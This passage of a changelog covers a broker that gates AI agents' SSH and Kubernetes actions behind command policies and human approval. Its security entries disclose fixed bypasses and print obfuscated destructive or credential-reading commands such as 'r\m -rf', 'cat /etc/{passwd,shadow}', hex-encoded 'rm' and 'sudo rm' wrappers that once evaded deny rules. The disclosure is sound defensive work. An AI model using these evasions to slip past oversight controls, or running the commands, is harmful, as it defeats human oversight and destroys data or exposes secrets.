Changelog¶
[v3.1.2] - 2026-08-13¶
Security and correctness audit: remaining command-hiding wrappers, reload
vs policy-mutation race, installer mode/--bindir healing, k8s dry-run
classification, and docs drift.
Security¶
- Command-policy shell_parse rejects sudo/su/source wrappers (#371) — the
#352 wrapper set missed the privilege wrappers this product uses for
elevation (
sudo,su,doas,pkexec,runuser,sg), the eval-class source builtins (.,source), and a few remaining wrappers/interpreters (script,watch,awk/gawk/nawk/mawk). Withshell_parseon, an anchored denylist orrequire_approval(^rm) was dodged bysudo rm …or. /tmp/evil. Those names are now rejected at parse time (fail-closed), the same waybash -c/env/evalalready are. Prefer thesudointent flag over puttingsudoin the command; denylist remains best-effort against unknown path/alias tricks. - Command-policy wrapper gate matches versioned interpreters (#377) —
the exact-basename map still allowed
python3.12 -c,ash -c, and/usr/bin/time rmpast an anchored^rmdeny. Interpreter families now match a trailing version suffix (python3.12,ruby3.2,node18);ashandtimejoin the wrapper set. Hyphenated helpers (python3-config) stay unmatched. - reload() holds writeMu for the whole read+build+swap (#378) — a
SIGHUP or auto-reload that started on an older
signer.jsoncould finish after a concurrent policy DELETE and swap memory back to the wide snapshot. Disk stayed narrow; the live signer did not. Reload now takes the same lock asmutateAllow. - install.sh heals
*.envandbroker-ctl.jsonmodes on re-run (#381) — service JSON was already converged to0640, but an existingsigner.env/control-plane.env/mcp-http.env(AZURE_*, OIDC, webhook tokens) andbroker-ctl.jsonwere left as-is. A0644env file is readable by everyinfrabroker-*user via the shared group. Re-run now sets env files to0600 root:rootandbroker-ctl.jsonto0640 root:infrabroker. Empty env files are still not created.
Fixed¶
- k8s dry-run projects MatchedRule and stops leaking the regex in Reason (#379) —
a Kubernetes dry-run denial discarded the policy result, so
reason_codewas always the fallbackdeniedandReasonembeddedcommand_policy (deny:<regex>). Dry-run now carriesMatchedRulelike SSH and uses a generic Reason for policy denials. - install.sh
--bindirrewrites unit ExecStart (#382) — binaries went to$BINDIRbut the shipped systemd units still exec/usr/local/bin/…. A non-default--bindirnow rewritesExecStartto match.
Documentation¶
- THREAT_MODEL gap #1 names the cert-TTL session cap (#372) — the
"Mitigation today" paragraph still said the certificate TTL does not
bound an open session (pre-#124 wording). It now matches USAGE: the
broker reaper closes a session at cert expiry, idle timeout, or
session_max_seconds, whichever comes first. - README Multi-CA names the ssh-agent backend (#373) — the feature table still said "local PEM or Azure Key Vault" and linked a stale ARCHITECTURE anchor. It now lists PEM / AKV / ssh-agent/HSM and points at the current Multi-CA heading.
- API.md runtime grants persist when
state_dbis set (#380) — the grant section and the signer mux comment still said grants are memory-only and die on restart. They persist withstate_dband expire on TTL or revoke.
[v3.1.1] - 2026-08-12¶
Security and correctness audit fixes: shell-wrapper command-policy bypass, kill-switch durability, k8s response caps, bridge pending-only posts, and static installer builds — plus skill/demo doc accuracy.
Security¶
- Command-policy shell_parse rejects command-hiding wrappers (#352) — with
shell_parseon (the default), denylist andrequire_approvalrules that anchor on the real binary (e.g.^rm) could be dodged by wrapping it:bash -c 'rm …',env rm …,timeout 1 rm …,python3 -c '…', and the same class of pure wrappers/interpreters.extractCommandsonly saw the outer CallExpr, so the policy under-matched the same way inline env assignments and quoting once did (#175, #277, #308). Those wrappers are now rejected at parse time (fail-closed). Prefer allowlist for production; denylist remains best-effort against unknown path/alias tricks. - Freeze Add enforces kill switch even if durability checkpoint fails (#353) —
after a successful freeze INSERT, a failed
wal_checkpoint(FULL)used to return an error without updating the in-memory set, so/v1/signkept admitting the subject while the operator saw a freeze failure. Memory is now updated before the checkpoint; a durability failure still freezes the process (and still revokes grants) and surfacesErrFreezeNotDurable. - Freeze grant revocation is all-or-nothing (#354) —
RevokeForSubjectdeleted grants one-by-one and stopped on the first state-db error, so a partial revoke left residual subject-scoped grants that re-widened policy after unfreeze. Matching grants are now deleted in one transaction (memory untouched on failure), and unfreeze re-sweeps residual grants as defense in depth.
Fixed¶
- Kubernetes client fails closed on oversized API responses (#355) — a 2xx body larger than the read cap (4 MiB get/list/apply; 512 KiB logs) was silently truncated and returned as success, so truncated lists/secrets/logs looked complete to the model. The client now reads one byte past the cap and errors when exceeded.
- Approval-bridge posts only pending approvals (#356) — after a bridge
restart the dedupe map is empty, and
GET /v1/approvalsreturns decided requests too, so already-approved/denied items were re-posted to chat. Non-pending statuses are now skipped. make build/make distsetCGO_ENABLED=0(#357) — goreleaser archives were static while the installer tarball frommake distused default CGO (glibc-dynlinked when a C compiler is present). The Makefile now exportsCGO_ENABLED=0(and-trimpath) to match goreleaser.
Documentation¶
- Deploy skill: callers default-deny and agent CA custody (#358) — the
deploy skill no longer requires an empty
callers._default(obsolete after v2.0.0) and documents theagent(ssh-agent/HSM) CA backend alongsideakvandpem. - Demo docs: stop claiming "nothing to steal" on a shared volume (#359) —
broker.jsonhas noca_key(process isolation), but the compose volume still exposespki/ssh_cato uid 65532. CONTAINERS, compose, pki-init, and the prompt-injection demo now say so and name agent/AKV for production. - Audit skill distribution invariants (#360) — skill text now matches nine goreleaser/Makefile builds, a seven-binary image (deliberately omitting bridge+shim), and the demo's real allowlist/approval posture.
Internal¶
- Dependabot go-minor-patch —
modernc.org/sqliteand related transitive bumps (#350, #351).
[v3.1.0] - 2026-08-03¶
Sealed-exec ops: host installer, no-downtime envelope-key rotation, and sudoers- friendly elevation — plus security fixes for approve-and-learn/freeze, audit token forgery on file transfer, command-policy backslash escapes, and broker-ctl path resolution.
Added¶
- Sealed-exec host deployment:
deploy/install-shim.sh(#291) — sealing a host stopped being a hand-assembled procedure. One idempotent script, run as root on a managed target, installs theinfrabroker-shimverifier, pins the envelope public key at/etc/infrabroker/envelope.pub, and creates the single-use nonce store at/var/lib/infrabroker-shim/noncesas1770 root:infrabroker-shim— group-writable so each SSH account can claim a nonce, sticky so none can delete another's claim and re-open the replay window.--checkre-verifies a host and changes nothing. It installs no daemon, no unit and no service user:install.shstill owns the service hosts.
It also fixes a trap that would have made sealed exec fail closed on most
Debian/Ubuntu hosts: the certificate's force-command is the bare name
infrabroker-shim, and sshd runs it through a NON-login shell, so
/etc/profile is never sourced and PATH is sshd's compiled-in default —
/usr/bin:/bin:/usr/sbin:/sbin on Debian/Ubuntu, which does not contain
/usr/local/bin. The script symlinks the shim into /usr/bin, the one
directory on that default across distro families.
-
broker-ctl envelope pubkey --seed <file>(#291) — prints the sealed-exec envelope public key for a seed, offline. The signer only ever logs the key it is currently using, which is enough to pin a host initially but not to rotate: a no-downtime rotation has to pin the INCOMING key on every host before the signer switches to it, and until this command nothing had printed it. -
Envelope-key rotation without downtime (#291) —
/etc/infrabroker/envelope.pubnow accepts more than one key, one base64 line each, with#comments and blank lines allowed; a host that pins the outgoing and the incoming key together keeps working while the signer is switched over, and the switch stays reversible until the old key is retired. The shim re-reads the file on every command, so each step applies immediately — no restart, no signal. Parsing is strictly fail-closed: any malformed line rejects the whole file and a file with no key is an error, because skipping bad lines would let one corrupted byte in the newly appended key silently leave the host trusting only the outgoing one. Single-key files — every host deployed before this — keep working unchanged.
Version skew: a shim older than v3.1.0 reads the file as a single key and
fails closed on two lines. Upgrade the shim on every sealed host before
appending a second key. Runbook, including the emergency path, in
docs/OPERATIONS.md § 2.2.
Changed¶
- Sudoers-friendly elevation: simple commands run as a direct sudo argv (#306) —
an elevated command with no shell semantics (one statement, statically-known
words) is now executed as
sudo -n -- systemctl restart nginx.serviceinstead ofsudo -n -- /bin/sh -c '…', so the host's least-privilege sudoers rule is the naturaldeploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx.service, mirroring thecommand_policiesstring. Anything else keeps the/bin/sh -cwrapper unchanged: pipes, sequences, redirects, env assignments, expansions, globs, unquoted backslash escapes, a leading word containing=(sudo would read it as an environment assignment) and shell-only builtins (cd,umask, … — no binary for sudo to exec). Capability is identical either way; only the executed form differs.
Host-side action required if you wrote per-command sudoers rules for the
wrapped form. A rule like
deploy ALL=(root) NOPASSWD: /bin/sh -c systemctl\ restart\ nginx.service
stops matching for that (now direct) command and sudo falls back to asking for
a password — rewrite it as
deploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx.service.
Rules for compound commands are unaffected, and NOPASSWD: ALL deployments
need no change. Note the documented restricted rules could never match the
wrapped form in the first place (#305), so hand-crafted ones are the only
affected case.
- Working sudoers guidance for both elevation forms (#305) — the sudo
sections of deploy/sshd_config.snippet and docs/ARCHITECTURE.md recommended
rules (NOPASSWD: /usr/bin/systemctl, …) that could never match what the broker
executes, leaving NOPASSWD: ALL as the only rule that worked. They now show
verified rules for the direct and wrapped forms, and the argument-matching
pitfalls: wildcards are an escalation (sh -c * ≡ NOPASSWD: ALL), double
quotes do not group arguments in a Cmnd, \| is a syntax error that
invalidates the file, and an unescaped # truncates a rule silently.
Fixed¶
-
OPERATIONS sealed-session docs: require_approval never unlocks session exec (#339) — the constraints list implied approval would eventually yield an envelope on a sealed session. Sealed sessions permanently refuse
require_approval; use oneshotssh_execute(waivers still work by clearing the gate first). -
install.sh post-install no longer teaches obsolete empty
_defaultcallers (#338) — since v2.0.0 a non-emptycallerstable is already default-deny without"_default": {"allowed_groups": []}; the checklist now says so. -
OPERATIONS/CONTAINERS list
infrabroker-shimin the release inventory (#335) —make distand the goreleaser archive already ship the sealed-exec host verifier; the install list and image/archive note omitted it (approval-bridge was the only archive-only extra named). -
THREAT_MODEL actors table no longer calls the signer "stateless" (#337) — grants, freezes, rate buckets, and optional
state_dbcontradict that claim. The row now describes minimal in-process state and points at gap #5 / HA.md. -
SECURITY.md gap #1 scope names sealed exec as the opt-in mitigation (#336) — the by-design list still claimed host-enforced session force-command was absent entirely. It now notes default broker-preflighted sessions and that
sealed_execcloses the gap for opted-in hosts. -
File-transfer paths with whitespace/controls are refused before audit (#331) —
ssh_put_file/ssh_get_fileencodedpath=<path> bytes=… sha256=…into the space-separated auditCommandstream while only rejecting NULs and newlines. A path containing spaces could splice forged tokens. Paths now pass the sameHasUnsafeTokenChargate used on identity fields. -
ARCHITECTURE Multi-CA section documents the
agentCA backend (#333) — the section still framed custody as PEM or AKV only and claimed Ed25519 worked only in local PEM mode. It now listspem/akv/agentand notes that Ed25519 is available via PEM and ssh-agent (not AKV). -
OPERATIONS emergency envelope-key runbook states the real blast radius (#334) — the text claimed a leaked envelope private key could only mint envelopes for commands the signer's policy would already have allowed. The shim does not re-check policy; a leaked seed authorises any command on hosts that still pin the compromised public key. The runbook now treats the seed as CA-adjacent: no dual-key overlap, rotate immediately, kill open sealed sessions.
-
SECURITY.md supported-versions table tracks the current major (#332) — the policy still said only the latest
1.xonmainreceived security fixes after the project had already shipped3.x. It now states that only the latest release onmain(current major) is supported. -
Approve-and-learn no longer mints a durable waiver after freeze (#330) —
#224serialised admin grant create with freeze underwriteMuand refused grants for frozen subjects; the learn path (maybeLearnWaiver) did not, so a concurrent freeze could revoke grants and still leave a learn-mintedwaive_approvalthat re-suppressedrequire_approvalthe moment the subject was unfrozen. Learn now takes the same lock, skips (and audits) when the caller or end-user is frozen, and covers both the SSH and k8s issuance branches. -
In-conversation approvals work again on the current MCP protocol (#318) — the
github.com/modelcontextprotocol/go-sdkv1.7.0 bump brought protocol version 2026-07-28, where SEP-2322 forbids a server from sendingelicitation/createwhile it is serving atools/call. The #118 approval prompt did exactly that, so against any client on the current protocol arequire_approvalcommand returned a tool error instead of asking the human — and the repository's test suite went red. The prompt is now returned as aninputRequestsentry on the tool result and the client re-calls the tool with the answer, which is the SEP-2322 flow; clients still on an older protocol version keep seeing an ordinary server-initiated elicitation (the SDK's server middleware bridges them), so nothing changes for the human at either end. The gate itself is unchanged: only an explicit accept withapprove=trueapproves, and theapproval_grantedrecord still commits before the command runs (#280). - Control plane no longer hides
allow_file_transfer(#315) — when a broker reached the signer THROUGH the control plane,GET /v1/hostsrebuilt each host entry without theallow_file_transfercapability flag, so every host came back asfile_transfer=false.ssh_list_serversthen reported the capability as unavailable and thessh_put_file/ssh_get_filetool descriptions tell the model not to attempt a transfer on such a host — making an operator-enabled capability unusable in the control-plane topology while it worked against a direct signer. The flag is now forwarded likeallow_sudo/allow_pty. No authorization change: the signer always enforcedallow_file_transferat/v1/sign, so the previous behaviour failed closed.
Security¶
- A sealed host's
sshd_configmust not setForceCommand(#291) — newly documented, not a code change: when both are present OpenSSH prefers the CONFIGURED command over the certificate's (options.adm_forced_commandis checked beforeauth_opts->force_commandinsession.c'sdo_exec), so a global orMatchForceCommandon a sealed host means the shim never runs and the signed envelope is handed to that program in$SSH_ORIGINAL_COMMAND— sealing defeated silently.install-shim.sh --checknow probes it withsshd -T,deploy/sshd_config.snippetanddocs/THREAT_MODEL.mdcall it out, and withLogLevel VERBOSEsshd itself distinguishesforced-command (key-option)from(config). - broker-ctl: a relative cert/key/ca in the client config resolves against that
file, not the CWD (#320) —
cmd/broker-ctl/clientconfig.godeliberately keeps the current working directory out of the client-config search order so a planted file cannot redirect this privileged CLI's mTLS endpoint and CA trust anchor, and it already rebased the built-in./pki/*default onto the config file's directory. A relative path written IN the file skipped that rebase and resolved against the CWD, so runningbroker-ctlfrom a directory holding an unrelatedpki/took the admin client cert/key and the CA trust anchor from there — letting a local file plant get the CLI to trust a spoofed signer / control plane (answeringpolicy add,grant,approval allow) or present an attacker-chosen identity. Relative file values are now rebased the same way. Behaviour change, narrow: only a RELATIVE cert/key/ca inside a loaded config file moves — it now resolves next to that file instead of next to the CWD. Absolute paths,BROKER_CTL_*env vars, explicit flags, and the no-config-file lab fallback are unchanged. Prefer absolute paths, asbroker-ctl.example.jsonshows. - Command policy: reject unquoted backslash escapes (#308) — the last decode
gap of the bypass class closed by #277 (quoting/encoding) and v3.0.1's
GHSA-937v-rmqp-j3hx (glob/brace/tilde). The AI-action firewall decided a host's
command_policyagainst a form of the command in which an UNQUOTED backslash was kept LITERAL, while the target host's$SHELL -c(and the sealed-exec shim) consume it as an escape. An obfuscated command therefore dodged adeny/require_approvalrule the executed command would hit —r\m -rf /srv/datawas matched asr\m …but runs asrm -rf /srv/data, andcat /etc/sha\dowdodged an/etc/shadowdeny. Such a word is now rejected fail-closed with an actionable error ("quote it or use an explicit value"), the same treatment glob/brace/tilde got in v3.0.1. Only hosts with an activecommand_policyare affected, and only unquoted backslashes:'a\b',"a\b","a\$b"and$'a\tb'decode exactly as the shell decodes them and keep working — quote the word to keep using one. The elevation path already refused these (#306).
Documentation¶
- Action budgets under replication: the degradation is now stated, and decided
(#295, #297) — both budget layers (
sign_rate_limit_per_minon the signer,rate_limit_per_min+ novelty baselines on the control plane) are per process, so N replicas admit up to N× the configured cap and baselines split-brain. That is now written where an operator reads it (docs/OPERATIONS.md§ Action budgets), with sizing guidance, instead of only in the HA design study — and recorded as a decision: budgets are a detection layer, containment is the signer's command policy and the approval gate, which are config-derived and therefore identical on every replica.docs/HA.mdgains the reasoning, the facets that were not obvious (an approved-and-learned anomaly stays novel on the other N−1 replicas; the blocked-attempt counting that makes a flood non-evasive is also per process), the constraint thatagent(ssh-agent) CA custody is host-local and does not replicate the wayakvdoes, and a quantified answer on certificate serials (64-bit random, collision probability below 1e-6 up to ~6.1M certificates; a collision would make--serialambiguous rather than break correlation, and replication does not change the math).
Three stale claims fixed along the way: docs/ARCHITECTURE.md's component map
said the signer holds no state (it holds grants, freezes and rate buckets),
docs/OPERATIONS.md repeated "the signer stays stateless", and THREAT_MODEL
gap #5 enumerated only broker and control-plane replicas. docs/HA.md is now
linked from the README documentation table.
- The agent CA custody backend now appears everywhere custody is described
(#325) — the sweep #160 and #316 should have had. docs/reference/config.md
(generated from the Go doc comments on signer.json's and config.json's
ca_key) still described custody as pem or akv, so the anti-drift
reference republished the omission on every build; docs/OPERATIONS.md §8 said
the same while §4 of the same document documented ssh-agent custody, and
deploy/install.sh's header (printed by --help) and deploy/README.md's
production checklist had not been updated either. All of them now name the
three backends and point at the comparison table.
- deploy/: the agent CA custody backend is offered where operators choose
(#316) — deploy/README.md has documented all three backends since #122, but
the checklist deploy/install.sh PRINTS after an install, and the header of
deploy/systemd/infrabroker-signer.service, still presented the choice as
akv or pem. An operator following the printed checklist concluded the
hardware-backed production option (YubiKey PIV / SoftHSM / TPM via ssh-agent)
did not exist. Both now list agent and point at the README's comparison
table, and the unit records what that backend needs from the sandbox: the
agent socket is the signing capability, so guard its permissions and keep it
out of /tmp (PrivateTmp=yes replaces that with a private empty tree) —
e.g. /run/infrabroker/ssh-agent.sock.
Internal¶
- Annotate the intentional SSH remote-exec sink —
internal/ssh/run.gocarries a CodeQL suppression + rationale forgo/command-injection: the command reachingsession.Runis signer-authorised (one-shot force-command / sessioncommand_policy), the glob/brace/tilde bypass class was closed in v3.0.1 (GHSA-937v-rmqp-j3hx), and that cross-package mitigation is invisible to the dataflow query. No behaviour change. - Dependency bumps —
actions/setup-goandactions/setup-pythonto v7;modernc.org/sqlitepatch;github.com/modelcontextprotocol/go-sdk(the latter required the SEP-2322 in-conversation approval fix above). - Docs hygiene — USAGE documents thirteen MCP tools (not seven); ARCHITECTURE
documents the unresolvable-expansion rejection class in
shell_parse;release.ymlno longer hard-codes the installer tarball's binary count.
[v3.0.1] - 2026-07-16¶
Security patch. Closes a command-policy bypass (GHSA-937v-rmqp-j3hx, found via
CodeQL + adversarial review) where a shell glob / brace / tilde metacharacter let
an obfuscated command dodge a deny / require_approval rule the executed
command would hit — the same class as #211/#277, left open for glob/brace/tilde.
Upgrade recommended; no config changes required.
Security¶
- Command policy: reject unresolved shell-expansion metacharacters (glob / brace
/ tilde) — GHSA-937v-rmqp-j3hx — the AI-action firewall decided a host's
command_policyagainst a form of the command in which pathname globs (* ? [ ]), brace expansion ({a,b}) and a leading tilde (~) were kept LITERAL, while the target host's$SHELL -c(and the sealed-exec shim) expand them at run time. An obfuscated command therefore dodged adeny/require_approvalrule the executed command would hit — e.g./bin/r[m] -rf /dataglobs back to/bin/rm -rf /datapast anrmdeny, andcat /etc/{passwd,shadow}brace-expands to read/etc/shadowpast a/etc/shadowdeny. This is the same class as the quoting/$IFS/encoding obfuscation closed in #211/#277, left open for glob/brace/tilde. Withshell_parseon (the default), a command word carrying such an UNQUOTED metacharacter is now rejected fail-closed before matching; quoted metacharacters ('...',"...",$'...') do not expand and are unaffected, and literal commands are unchanged. Note: a host that opted out with"shell_parse": falsekeeps the legacy raw-string matching and remains exposed to this class — do not useshell_parse: falseon hosts withdeny/require_approvalrules. Allowlist-mode hosts were never bypassable (a glob fails the allow match, fail-closed).
[v3.0.0] - 2026-07-16¶
The major that closes both host-enforcement gaps in the threat model. Session
exec filtering can now be enforced by the target host itself — "sealed exec",
opt-in per host: the session certificate is pinned to a verifying shim that runs
only signer-signed per-command envelopes — and the signer can re-validate the end
user's OIDC identity instead of trusting the broker's assertion. A compromised
broker can therefore neither skip the per-command preflight nor forge who an
action is attributed to. Alongside that: the three frontends collapse into one
infrabroker binary with transport subcommands, infrabroker init brings up a
working local install in one command, and the audit chain gets a round of
durability and ordering fixes. Upgrade note (BREAKING): an active
command_policy now parses commands as POSIX sh before evaluating them
(shell_parse defaults to on), so an allowlist finally covers chained commands
such as kubectl get pods; rm -rf /etc — hosts whose policies were passing
compound commands through unparsed will see new denials; set "shell_parse":
false on a policy to restore the legacy raw-string matching.
Changed¶
- Command policies parse commands by default (
shell_parseon) (#211) — BREAKING. An activecommand_policy(allowlist / denylist / require_approval) now parses the command as POSIX sh before evaluation unless you explicitly set"shell_parse": false. Previously parsing was opt-in (shell_parsedefaulted tofalse) andDecide()matched the command as a whole string, so an allowlist entry like^kubectl get— matched as a substring — let a chained command such askubectl get pods; rm -rf /etcride past the firewall (the entire line is baked into the one-shotforce-command, so the remote shell ran both). With parsing on, each simple command in a chain/pipe is checked independently and dangerous nodes (command/process substitution, arithmetic, file redirects, environment mutations) are rejected, so the compound command is denied. Impact: hosts with a command policy that passed compound commands through unparsed will now have each stage checked and may see new denials — restore the legacy raw-string matching per policy with"shell_parse": false. Hosts without a command policy are unaffected. The field is now a three-state pointer (absent = on);broker-ctl host --shell-parse=falseauthors the opt-out. - Unified
infrabrokerbinary with transport subcommands (#180) — the three broker frontends are now one binary with the transport as a subcommand:infrabroker serve-http(HTTP+mTLS one-shot),serve-mcp(stdio MCP), andserve-mcp-http(MCP over HTTP+OAuth). The legacybroker,mcp-brokerandmcp-broker-httpbinaries remain as thin deprecated wrappers over the same subcommands — identical flags and behaviour — so existing MCP-client configs, systemd units, container entrypoint and scripts keep working unchanged; preferinfrabroker serve-*going forward. No security-semantics change (same engine, config, and per-transport defaults); shared boot wiring now lives ininternal/brokermain.
Added¶
- Sealed exec: host-enforced session commands (#144) — session
execfiltering can now be enforced by the target host instead of the broker, closing THREAT_MODEL gap #1 for hosts that opt in. Set"sealed_exec": trueon a host insigner.jsonand point the newenvelope_keyat a dedicated Ed25519 seed (not the SSH CA): that host's session certificate then carriesforce-command=infrabroker-shim, and at the per-command preflight the signer already performs, it signs an envelope{nonce, host, command, expiry}. The broker sends the envelope as the SSH channel command, and the new staticinfrabroker-shimbinary on the host runs the inner command only if it verifies against a pinned public key (/etc/infrabroker/envelope.pub— the signer logs the value to pin at startup), is bound to that host, has not expired, and its nonce has not been used. A broker that skips the preflight therefore holds nothing the host will run — per-command authorization that survives broker compromise. The sudo prefix travels inside the signed envelope, so the shim (not the broker) applies it, and the host name is carried in theforce-commanditself so the shim takes its identity from the signer-signed certificate rather than anything the broker controls. On a sealed host every certificate is pinned — including bastion-role certs — so no role yields an unpinned cert. Sealed hosts are restricted tomode=exec(shell/pty are not envelope-verifiable and are rejected), commands run via/bin/sh -crather than the login shell, and turning the flag on does not seal sessions that are already open (close them after flipping it). The flag is off by default, non-sealed hosts are byte-for-byte unchanged, and the signer refuses to start if a host setssealed_execwithout anenvelope_key. Remote topology only — it exists to survive broker compromise, which presupposes broker != signer. Deploying the shim, the pinned key and the nonce store to hosts is not yet automated (tracked in #291). infrabroker init— one-command local setup (#136) — generates the local PKI (SSH CA, broker↔signer mTLS pair, audit seeds — pure Go, no ssh-keygen/openssl) and writes a custody-separated two-service config (signer.jsonholding the SSH CA + a default-deny starter policy, and a remote-mode brokerconfig.jsonholding no CA key), wired with the correct default-denycallers/groups so the local broker is authorised.--import-ssh-configimports hosts from~/.ssh/config(ssh -Gcanonicalisation + host keys from known_hosts with an ssh-keyscan TOFU fallback);--register-mcpregisters the stdio server with Claude Code (claude mcp add). Refuses to clobber an existing setup without--force, and prints the per-host sshd enrolment snippet.- Audit-log export to WORM / SIEM — documented sidecar pattern (#139) — the
signed, hash-chained audit JSONL can now be shipped off-host with a standard log
shipper as a sidecar: a new OPERATIONS section ("Exporting the audit log to
WORM / SIEM") plus a ready-to-adapt
deploy/vector.example.tomlcover shipping to S3 Object Lock (immutable, authoritative — the exported copy still passesbroker-ctl audit verify --all) and to syslog / Loki for SIEM search and alerting. infrabroker does not push logs itself, so a slow or unreachable SIEM never blocks an action; secrets are already redacted before an entry is signed. - Approval-bridge four-eyes via
--identity-map(#214) — the control plane's self-approval guard compares the request's originator against the bridge's approver CN, which never collides, so a human who both originated a request and clicked Approve in chat could self-approve through the bridge. Pointapproval-bridge --identity-map(orBRIDGE_IDENTITY_MAP) at a JSON{platform_user_id: end_user_identity}map and the bridge now refuses an approval whose clicker maps to the request's originatingend_user. The guard fails open — an unmapped clicker or a request without anend_useris relayed as before — so it is a strict, opt-in improvement; without the map the bridge behaves exactly as it did. See docs/OPERATIONS.md and docs/THREAT_MODEL.md. /readyzreadiness probe (#213) — the monitoring listener now serves/readyznext to/healthz. It returns503until the service's main mTLS listener is bound and accepting (for the stdio broker: once its engine is up), and flips back to503during graceful shutdown — so an orchestrator does not route traffic to a not-yet-ready or draining instance./healthzstays pure liveness (always200while the process serves).
Performance¶
- Concurrency & allocation polish (#215) — three low-severity hot-path
hygiene fixes: labelled metric increments (
monitor.Vec.With) are now lock-free via async.Map, so a high-RPSsignRequestsTotal.With(...).Inc()no longer serialises every observation behind one family mutex; the broker evicts stalehostKeyCacheentries on each host refresh, so a rotated host key no longer leaves its old (and negative-cached) parse behind forever; and the approval poll loop reuses onetime.Tickerinstead of allocating a freshtime.Aftertimer every 2s. - Group-commit the audit-log fsync (#209) —
Appendheld the log mutex across the synchronousfsync, so every audited action process-wide serialised behind one fsync (~1/fsync-latency, ≈100-200/s on a 5-10ms disk) — and with the v2.0.0 fail-closed audit that fsync sits on the critical path of every request. The fsync is now group-committed: appends write and advance the hash chain under the lock in strict order, then batch the durability fsync so N concurrent appends cost ~one fsync instead of N. Fail-closed durability is unchanged — an append still returns success only once its bytes are on disk — and rotation flushes the old file before closing it.
Fixed¶
infrabroker initnow writes absolute config paths (#271) — the generatedsigner.json/config.jsonembedded PKI/audit paths relative to the init dir (pki/broker.crt,audit.log, …). The broker resolves config paths against the process working directory, so once--register-mcp(or a hand-written MCP client entry) launchedinfrabroker serve-mcp -config <abs>/config.jsonfrom the client's own CWD — not the init dir — the broker died at startup withopen pki/broker.crt: no such file or directory, leaving the registered server dead on arrival.initnow emits absolute paths (it knows the resolved--dir), so the configs load regardless of launch CWD. Existing configs are unaffected; re-runinfrabroker init --forceto regenerate.- Cert expiry now force-closes a busy session (#225) — the session reaper
skipped any session with a command in flight before checking certificate
expiry, so a continuously-busy session kept its already-authenticated SSH
connection (and the expired credential's authority) alive until the command
returned — up to one command timeout (10 min for exec, 120 s for shell/pty)
past the certificate's
ValidBefore, undermining the session cap of #124. Cert expiry now closes the session even mid-command, mirroring the kill switch (killMatching); the busy-spare still applies to idle-TTL and max-lifetime reaps (those remain the domain of the #117 kill switch). Exposure past a cert's expiry is now bounded to the ~30 s reaper tick instead of a full command timeout. - Audit log rotation no longer overwrites a same-second segment (#257) —
rotated segments were named
<log>.<second-timestamp>, so two rotations within the same second produced the same filename andos.Renamesilently overwrote the earlier segment — destroying its records and breaking the chain. Only reachable with a smallmax_file_sizeor an extreme append rate (production's 100 MiB rotates far apart), but a latent audit-integrity hole. Rotation now appends a.<n>disambiguator when the timestamped name already exists, and segment discovery recognises it; plain timestamps stay backward-compatible. audit verify --allorders same-second segments numerically (#272) — completing #257: discovery sorted segments withsort.Strings, which orders the.<n>disambiguator lexicographically (.10before.2). Once ten or more segments landed in one second,VerifySegmentschecked cross-segment linkage in the wrong order and falsely reported the intact chain as broken. Discovery now orders by(timestamp, numeric n). Fail-safe (a false positive only; it could never mask tampering) and, like #257, only reachable with a smallmax_file_sizeor an extreme append rate.- Audit chain survives a crash at the rotation boundary (#279) —
maybeRotaterenames the old segment and creates an empty active file, carrying the chain forward only via the in-memoryprev_hash. A hard crash (power loss) after the rename but before the triggering record landed left an empty active file; on restartrestoreChainre-seeded at genesis (prev_hash="") and ignored the rotated segments, so the next entry broke cross-segment linkage andverify --allfalsely reported the chain corrupt.restoreChainnow seedsprev_hashfrom the newest rotated segment when the active file is empty or absent. Fail-safe (a false positive only) and a narrow crash window. - In-conversation approvals are now fully audited (#280) — with
approval_via_elicitation, a human's decline was returned to the agent with no audit record (indistinguishable from the agent giving up), and an approved execution logged plainexecuted— identical to a non-gated one. The broker now records anapproval_grantedentry (before execution, so the decision is durable even if the command later fails) and anapproval_declinedentry, both carryingapproved_via: "elicitation", and stamps the resultingexecutedrecord withapproved_viatoo. A granted approval that cannot be durably audited fails closed (the command does not run).
Security¶
- Signer-side re-validation of the end-user OIDC identity (#143) — the signer
can now re-validate the end user's bearer token itself instead of trusting the
end_user/end_user_groupsthe broker asserts, closing the documented residual of THREAT_MODEL gap #2 (a compromisedmcp-broker-httpfrontend stamping an arbitrary identity into a certificateKeyIDand the signed audit trail). Opt-in per caller CN via"require_verified_end_user": true, paired with a newend_user_oidcblock (issuer/audience/claims mirroring the frontend'soauth): the HTTP frontend forwards the raw bearer over the existing mTLS channel and the signer derivesend_user/groups from the verified JWT (same JWKS discovery and signature/iss/aud/exp/nbf/iat/scope checks as the frontend). Off by default and fail-closed when on (a gated caller with a missing/invalid token, no issuer configured, or an asserted group restriction the signer has nogroups_claimto re-verify, is denied — configuregroups_claimto mirror the frontend when it asserts groups). The token is a secret: it is never logged or audited, and the control plane strips it before persisting a pending approval — it is held in memory only across an approval wait, so a control-plane restart during a pending approval, or a token that ages pastmax_token_agebefore the human decides, makes that one approval fail closed and be re-requested. - k8s
extra_resourcesidentifiers are charset-validated at config load (#281) — an operator'sextra_resourcesentry could declare aresourceorgroupcontaining a space or/, which then flowed unvalidated into the signer's canonical action string<verb> <resource[.group]> <ns>/<name>and broke its "provably space/slash-free" anti-mismatch guarantee (fail-closed in effect — a corrupted policy key, not a privilege gain).k8s.Resourcesnow rejects aresourcethat is not an RFC 1123 label or agroupthat is not an RFC 1123 subdomain, so the canonical stays well-formed by construction. - Command policy matches the decoded command, closing a deny/approval bypass
via shell quoting (#277) — the firewall parsed each command but matched the
deny/
require_approval/allow regexes against its quote-preserving printed form. Since the target shell strips quoting at exec time, a caller could wrap the command name to dodge a rule the executed command would hit: on a denylist host'rm' -rf …,r"m" -rf …,$'\x72\x6d' -rf …,rm$IFS-rf …andLD_PRELOAD=… rm -rf …all rode past a^rmdeny, and'reboot'ran with no approval past a^rebootrequire_approval. Each simple command is now matched against its decoded literal (quoting/encoding removed), and a command word whose value the policy cannot know statically — a parameter/command/arithmetic expansion ($IFS,$(…)) or an inline env assignment — is rejected fail-closed. Impact: denylist/require_approval/allowlist hosts whose policies relied on quoting or an unquoted$VAR/env-prefix in a command may see new denials (the safe direction); allowlist hosts were already fail-closed. A legitimately quoted command that decodes to an allowed form is still allowed. - Freezes are durable against power loss, not just an app crash (#210) — the
state DB runs
